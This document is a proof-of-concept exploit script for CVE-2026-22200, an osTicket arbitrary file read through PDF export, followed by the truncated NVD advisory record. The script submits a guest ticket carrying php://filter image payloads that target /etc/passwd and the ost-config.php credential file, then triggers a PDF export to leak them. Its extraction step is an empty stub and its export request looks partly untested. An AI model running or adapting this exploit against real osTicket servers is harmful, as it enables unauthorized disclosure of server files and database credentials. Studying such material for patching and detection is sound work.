CVE-2026-22200

# CVE-2026-22200 PoC - osTicket Arbitrary File Read via PDF Export # This PoC demonstrates how to exploit the arbitrary file read vulnerability # in osTicket's PDF export functionality import requests from bs4 import BeautifulSoup import re TARGET_URL = "http://target-osticket-server.com" # Replace with target URL def create_malicious_ticket(): """Create a ticket with malicious PHP filter payload in HTML""" # Payload to read /etc/passwd file via PHP filter # This will be embedded as an image in the exported PDF malicious_html = ''' <img src="php://filter/read=convert.base64-encode/resource=/etc/passwd"> <img src="php://filter/read=convert.base64-encode/resource=/var/www/html/osticket/include/ost-config.php"> ''' # Ticket creation endpoint (usually for guests) create_url = f"{TARGET_URL}/open.php" ticket_data = { 'email': '[email protected]', 'name': 'Attacker', 'subject': 'Test Ticket - CVE-2026-22200', 'message': malicious_html, 'topicId': '3' # Default topic } response = requests.post(create_url, data=ticket_data) # Extract ticket number from response ticket_match = re.search(r'Ticket\s*#(\d+)', response.text) if ticket_match: ticket_id = ticket_match.group(1) print(f"[+] Ticket created successfully: #{ticket_id}") return ticket_id return None def export_ticket_to_pdf(ticket_id, ticket_password): """Export ticket to PDF to trigger file read""" pdf_url = f"{TARGET_URL}/scp/ajax.php/tickets/{ticket_id}/print" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Referer': f"{TARGET_URL}/scp/tickets.php?id={ticket_id}" } cookies = { 'osticketpass': ticket_password } response = requests.get(pdf_url, headers=headers, cookies=cookies) if response.status_code == 200: filename = f"ticket_{ticket_id}_export.pdf" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] PDF exported to {filename}") return filename return None def extract_file_from_pdf(pdf_path): """Extract embedded file content from PDF""" # Use pdfminer or similar to extract images from PDF # The file content will be embedded as base64 encoded image # Decode the images to retrieve the file contents pass if __name__ == "__main__": print("CVE-2026-22200 - osTicket Arbitrary File Read PoC") print("=" * 50) ticket_id = create_malicious_ticket() if ticket_id: # In real attack, obtain ticket password through ticket lookup pdf_file = export_ticket_to_pdf(ticket_id, "ticket_password_here") if pdf_file: print("[+] Exploitation complete. Check PDF for leaked file contents.")

{"cve": {"id": "CVE-2026-22200", "sourceIdentifier": "[email protected]", "published": "2026-01-12T19:16:02.933", "lastModified": "2026-01-27T20:27:55.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Enhancesoft osTicket versions 1.18.x prior to 1.18.3 and 1.17.x prior to 1.17.7 contain an arbitrary file read vulnerability in the ticket PDF export functionality. A remote attacker can submit a ticket containing crafted rich-text HTML that includes PHP filter expressions which are insufficiently sanitized before being processed by the mPDF PDF generator during export. When the attacker exports the ticket to PDF, the generated PDF can embed the contents of attacker-selected files from the server filesystem as bitmap images, allowing disclosure of sensitive local files in the context of the osTicket application user. This issue is exploitable in default configurations where guests may create tickets and access ticket status, or where self-registration is enabled."}, {"lang": "es", "value": "Las versiones de Enhancesoft osTicket 1.18.x anteriores a la 1.18.3 y 1.17.x anteriores a la 1.17.7 contienen una vulnerabilidad de lectura arbitraria de archivos en la funcionalidad de exportación de tickets a PDF. Un atacante remoto puede enviar un ticket que contenga HTML de texto enriquecido manipulado que incluye expresiones de filtro de PHP que no se sanean suficientemente antes de ser procesadas por el generador de PDF mPDF durante la exportación. Cuando el atacante exporta el ticket a PDF, el PDF generado puede incrustar el contenido de archivos seleccionados por el atacante del sistema de archivos del servidor como imágenes de mapa de bits, permitiendo la divulgación de archivos locales sensibles en el contexto del usuario de la aplicación osTicket. Este problema es explotable en configuraciones predeterminadas donde los invitados pueden crear tickets y acceder al estado de los tickets, o donde el auto-registro está habilitado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:enhancesoft:osticket:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.17", "versionEndExcluding": "1.17.7", "matchCriteriaId": "615BDC7F-0BBB-436F-9252-9F3AAE3FB4A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:enhancesoft:osticket:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.18", "versionEndExcluding": "1.18.3", "matchCriteriaId": "1528CBCF-BB6F-4127-A7E6-CF24FD8B0BF3"}]}]}], "references": [{"url": "https://github.com/osTicket/osTicket/commit/c59b067", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/osTicket/osTicket/releases/tag/v1.17.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/osTicket/osTicket/releases/tag ... (truncated)